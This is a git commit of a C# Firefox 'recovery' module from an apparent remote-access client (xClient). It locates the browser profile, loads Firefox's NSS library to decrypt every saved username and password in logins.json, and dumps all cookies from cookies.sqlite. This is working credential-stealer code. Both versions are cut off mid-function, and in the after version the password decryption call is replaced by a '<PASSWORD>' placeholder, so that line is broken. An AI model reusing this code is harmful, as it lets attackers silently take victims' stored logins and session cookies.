<commit_before>﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
using xClient.Core.Data;
using xClient.Core.Recovery.Utilities;
using xClient.Core.Utilities;

namespace xClient.Core.Recovery.Browsers
{
    /// <summary>
    /// A small class to recover Firefox Data
    /// </summary>
    public static class Firefox
    {
        private static IntPtr nssModule;

        private static DirectoryInfo firefoxPath;
        private static DirectoryInfo firefoxProfilePath;

        private static FileInfo firefoxLoginFile;
        private static FileInfo firefoxCookieFile;

        static Firefox()
        {

            try
            {
                firefoxPath = GetFirefoxInstallPath();
                if (firefoxPath == null)
                    throw new NullReferenceException("Firefox is not installed, or the install path could not be located");

                firefoxProfilePath = GetProfilePath();
                if (firefoxProfilePath == null)
                    throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");

                firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
                if (firefoxLoginFile == null)
                    throw new NullReferenceException("Firefox does not have any logins.json file");

                firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
                if (firefoxCookieFile == null)
                    throw new NullReferenceException("Firefox does not have any cookie file");
            }
            catch (Exception)
            {

            }
        }

        #region Public Members
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List<RecoveredAccount> GetSavedPasswords()
        {
            List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
            try
            {
                // init libs
                InitializeDelegates(firefoxProfilePath, firefoxPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize<JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    Uri host = new Uri(data.formSubmitURL);

                    firefoxPasswords.Add(new RecoveredAccount() { URL = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" });
                }
            }
            catch (Exception)
            {
                
            }
            return firefoxPasswords;
        }

        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List<FirefoxCookie> GetSavedCookies()
        {
            List<FirefoxCookie> data = new List<FirefoxCookie>();
            SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
            if (!sql.ReadTable("moz_cookies"))
                throw new Exception("Could not read cookie table");

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
                    long currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp = FromUnixTime(expiryTime);
                    bool expired = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host = h,
                        ExpiresUTC = exp,
                        Expired = expired,
                        Name = name,
                        Value = val,
                        Path = path,
                        Secure = secure,
                        HttpOnly = http
                    });
                }
                catch (Exception)
                {
                    return data;
                }
            }
            return data;
        }
        #endregion

        #region Functions
        private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
        {
            LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
            LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
            LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
            nssModule = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
            IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
            NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
            NSS_Init(firefoxProfilePath.FullName);
            long keySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(keySlot, true, 0);
        }
        private static DateTime FromUnixTime(long unixTime)
        {
            DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
            return epoch.AddSeconds(unixTime);
        }
        private static long ToUnixTime(DateTime value)
        {
            TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
            return (long)span.TotalSeconds;
        }
        #endregion

        #region File Handling
        private static DirectoryInfo GetProfilePath()
        {
            string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
            if (!Directory.Exists(raw))
                throw new Exception("Firefox Application Data folder does not exist!");
            DirectoryInfo profileDir = new DirectoryInfo(raw);

            DirectoryInfo[] profiles = profileDir.GetDirectories();
            if (profiles.Length == 0)
                throw new IndexOutOfRangeException("No Firefox profiles could be found");

            // return first profile, fuck it.
            return profiles[0];

        }
        private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
        {
            foreach (FileInfo file in profilePath.GetFiles(searchTerm))
            {
                return file;
            }
            throw new Exception("No Firefox logins.json was found");
        }
        private static DirectoryInfo GetFirefoxInstallPath()
        {
            DirectoryInfo firefoxPath = null;
            // get firefox path from registry
            // we'll search the 32bit install location
            RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
            // and lets try the 64bit install location just in case
            RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);

            if (localMachine1 != null)
            {
                string[] installedVersions = localMachine1.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
<commit_msg>format fix<commit_after>﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
using xClient.Core.Data;
using xClient.Core.Recovery.Utilities;
using xClient.Core.Utilities;

namespace xClient.Core.Recovery.Browsers
{
    /// <summary>
    /// A small class to recover Firefox Data
    /// </summary>
    public static class Firefox
    {
        private static IntPtr nssModule;

        private static DirectoryInfo firefoxPath;
        private static DirectoryInfo firefoxProfilePath;

        private static FileInfo firefoxLoginFile;
        private static FileInfo firefoxCookieFile;

        static Firefox()
        {
            try
            {
                firefoxPath = GetFirefoxInstallPath();
                if (firefoxPath == null)
                    throw new NullReferenceException("Firefox is not installed, or the install path could not be located");

                firefoxProfilePath = GetProfilePath();
                if (firefoxProfilePath == null)
                    throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");

                firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
                if (firefoxLoginFile == null)
                    throw new NullReferenceException("Firefox does not have any logins.json file");

                firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
                if (firefoxCookieFile == null)
                    throw new NullReferenceException("Firefox does not have any cookie file");
            }
            catch (Exception)
            {

            }
        }

        #region Public Members
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List<RecoveredAccount> GetSavedPasswords()
        {
            List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
            try
            {
                // init libs
                InitializeDelegates(firefoxProfilePath, firefoxPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize<JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = <PASSWORD>(data.encryptedPassword);
                    Uri host = new Uri(data.formSubmitURL);

                    firefoxPasswords.Add(new RecoveredAccount() { URL = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" });
                }
            }
            catch (Exception)
            {
            }
            return firefoxPasswords;
        }

        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List<FirefoxCookie> GetSavedCookies()
        {
            List<FirefoxCookie> data = new List<FirefoxCookie>();
            SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
            if (!sql.ReadTable("moz_cookies"))
                throw new Exception("Could not read cookie table");

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
                    long currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp = FromUnixTime(expiryTime);
                    bool expired = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host = h,
                        ExpiresUTC = exp,
                        Expired = expired,
                        Name = name,
                        Value = val,
                        Path = path,
                        Secure = secure,
                        HttpOnly = http
                    });
                }
                catch (Exception)
                {
                    return data;
                }
            }
            return data;
        }
        #endregion

        #region Functions
        private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
        {
            LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
            LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
            LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
            nssModule = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
            IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
            NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
            NSS_Init(firefoxProfilePath.FullName);
            long keySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(keySlot, true, 0);
        }
        private static DateTime FromUnixTime(long unixTime)
        {
            DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
            return epoch.AddSeconds(unixTime);
        }
        private static long ToUnixTime(DateTime value)
        {
            TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
            return (long)span.TotalSeconds;
        }
        #endregion

        #region File Handling
        private static DirectoryInfo GetProfilePath()
        {
            string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
            if (!Directory.Exists(raw))
                throw new Exception("Firefox Application Data folder does not exist!");
            DirectoryInfo profileDir = new DirectoryInfo(raw);

            DirectoryInfo[] profiles = profileDir.GetDirectories();
            if (profiles.Length == 0)
                throw new IndexOutOfRangeException("No Firefox profiles could be found");

            // return first profile, fuck it.
            return profiles[0];
        }
        private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
        {
            foreach (FileInfo file in profilePath.GetFiles(searchTerm))
            {
                return file;
            }
            throw new Exception("No Firefox logins.json was found");
        }
        private static DirectoryInfo GetFirefoxInstallPath()
        {
            DirectoryInfo firefoxPath = null;
            // get firefox path from registry
            // we'll search the 32bit install location
            RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
            // and lets try the 64bit install location just in case
            RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);

            if (localMachine1 != null)
            {
                string[] installedVersions = localMachine1.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

{'fraction_non_alphanumeric': 0.08470160557406846, 'fraction_numerical': 0.0063011208724628905, 'mean_word_length': 1.6843389168970564, 'pattern_counts': {'":': 0, '<': 40, '<?xml version=': 0, '>': 40, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 2, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6188293', 'n_tokens_mistral': 4277, 'n_tokens_neox': 3880, 'n_words': 1053}